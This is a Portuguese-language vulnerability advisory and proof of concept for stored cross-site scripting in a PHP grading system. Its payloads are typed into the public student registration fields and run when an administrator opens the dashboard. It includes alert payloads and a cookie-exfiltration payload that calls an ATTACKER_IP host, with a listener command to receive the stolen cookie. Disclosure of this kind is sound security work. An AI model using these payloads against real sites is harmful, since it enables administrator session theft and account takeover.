
Prova de conceito para XSS armazenado no SourceCodester CET Automated Grading System 1.0, demonstrando injeção de payload não autenticada via registro de estudante, levando ao sequestro de sessão do administrador.
| Campo | Valor |
|---|
| Fornecedor | SourceCodester |
| URL do Fornecedor | https://www.sourcecodester.com |
| Produto | CET Automated Grading System com Análise Preditiva de IA em PHP e MySQL |
| URL do Produto | https://www.sourcecodester.com/php/18686/cet-automated-grading-system-ai-predictive-analytics-php-and-mysql.html |
| Versão | 1.0 |
| Vulnerabilidade | Cross-Site Scripting Armazenado (XSS) |
| CWE | CWE-79 |
| Pontuação CVSSv3 | 8.8 (Alta) |
| Vetor de Ataque | Rede |
| Autenticação Necessária | Nenhuma (O auto-registro de estudante é público) |
| Vítima | Administrador |
| Interação do Usuário | Necessária (O administrador visita o painel) |
| Pesquisador | Imad Alvi |
| Data | 2026-04-13 |
Arquivo: PersonalAGS/index.php?action=register (Registro de Estudante)
Parâmetros: student_id, full_name, section, username (POST)
Acionado em: PersonalAGS/index.php?action=dashboard (Painel do Administrador)
O portal de auto-registro de estudantes no CET Automated Grading System 1.0 não sanitiza nem codifica a entrada fornecida pelo usuário antes de armazená-la no banco de dados. Um atacante não autenticado pode registrar uma conta de estudante com payloads de JavaScript injetados em qualquer campo de registro. O payload malicioso é armazenado no banco de dados e é executado no navegador de qualquer administrador que visite o painel onde os estudantes matriculados são listados.
Esta é uma cadeia de ataque crítica — nenhuma autenticação é necessária para injetar o payload, mas ele é executado em um contexto administrativo privilegiado, permitindo o roubo de cookies de sessão e a tomada total da conta do administrador.
Navegue até a página pública de auto-registro de estudantes:
http://localhost/cet-personalagms/PersonalAGS/index.php?action=register
Preencha todos os campos com payloads de XSS e clique em Registrar Conta:
"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>
O registro é concluído com sucesso — os payloads são armazenados no banco de dados.
Quando o administrador faz login e visita o painel, o payload injetado é executado imediatamente. O popup de alerta é acionado e o layout da página fica visivelmente quebrado pelo HTML injetado — confirmando que o payload é renderizado sem sanitização no painel administrativo.
Os cabeçalhos das seções do painel também refletem os valores injetados:
1ST YEAR - SECTION 1ST YEAR" ONMOUSEOVE3RD YEAR - SECTION " ONLOAD=ALERT(1) X=
Um atacante pode escalar isso para o sequestro total da sessão do administrador usando o seguinte payload nos campos de registro:
" onmouseover="new Image().src='http://ATTACKER_IP:8888/?c='+document.cookie" x="
Configure um listener na máquina do atacante:
python3 -m http.server 8888
Quando o administrador visita o painel, o cookie de sessão é enviado ao servidor do atacante, permitindo a tomada completa da conta.
Um atacante não autenticado pode:
Nenhuma autenticação é necessária para injetar o payload. O ataque é executado automaticamente quando qualquer administrador visita o painel.